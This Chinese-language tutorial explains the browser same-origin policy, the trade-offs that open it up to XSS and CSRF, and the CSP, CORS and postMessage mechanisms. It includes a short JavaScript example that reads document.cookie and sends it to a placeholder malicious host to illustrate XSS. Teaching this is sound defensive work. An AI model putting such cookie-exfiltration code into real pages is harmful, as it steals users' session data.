同源策略

浏览器安全可以分为三大块：

• Web页面安全
• 浏览器网络安全
• 浏览器系统安全

为什么需要保证安全：在没有安全保障的Web世界中，我们是没有隐私的，因此需要安全策略来保障我们的隐私和数据的安全

页面中最基础、最核心的安全策略：“同源策略(Same-origin policy)”

什么是同源策略

如果两个URL的协议、域名和端口都相同，我们就称这两个URL同源

浏览器默认两个相同的源之间是可以互相访问资源和操作DOM的。两个不同的源之间若想要互相访问资源或者操作DOM，那么就会由一套基础的安全策略的制约，我们把这称为同源策略。

• DOM层面：同源策略限制了来自不同源的JavaScript脚本对当前DOM对象读和写的操作
• 数据层面：同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据
• 网络层面：限制了XMLHttpRequest等方式将站点的数据发送给不同源的站点。

安全和便利性的权衡

让不同源之间绝对隔离，无疑是最安全的措施，但这也会使得Web项目难以开发和使用，因此需要在这之间做出权衡，出让一些安全性来满足灵活性；而出让安全性又带来了很多安全问题，最典型的就是XSS攻击和CSRF攻击

浏览器出让了同源策略的那些安全性

网页中可以嵌入第三方资源

Web是开放的，可以接入任何资源，而同源策略要让一个页面的所有资源都来自于同一个源，也就是要将页面所有的HTML、CSS、JavaScript、图片等文件都部署在同一台服务器上，但是就违背了Web的初衷，也带了诸多限制。

最初的浏览器是不允许外部引用资源文件的，不过带来了很多问题。例如：浏览器的首页被一些恶意程序劫持，劫持的途径很多，其中最常见的恶意程序就是通过各种途径往HTML文件中插入恶意脚本。

HTML文件的数据到达浏览器时，浏览器是无法区分被插入的文件是恶意的还是正常的，这样恶意的脚本寄生在页面之中，当页面启动时，它就可以修改用户的搜索结果、改变一些内容的连接指向等等

除此之外，还能将页面的敏感数据，如Cookie、IndexDB、LocalStorage等数据通过XSS的手段发送给服务器。具体来说就是不小心点击了页面中的一个恶意链接时，恶意JavaScript代码可以读取页面数据并将其发送给服务器

// 恶意获取Cookie并发送给恶意服务器
function onClick(){
    let url = `http://unsafeDomain?cookie=${document.cookie}`;
    open(url);
}
onClick();

上面是一个典型的XSS攻击，为了解决XSS攻击，浏览器引入了内容安全策略，称为CSP。

“CSP的核心思想是让服务器决定浏览器能够加载那些资源，让服务器决定浏览器是否能执行内联JavaScript代码”。通过这些手段可以大大减少XSS攻击。

跨站资源共享和跨文档消息机制

“跨站资源共享（CORS）”

“跨文档消息机制”：通过window.postMessage的JavaScript接口来和不同源DOM进行通信。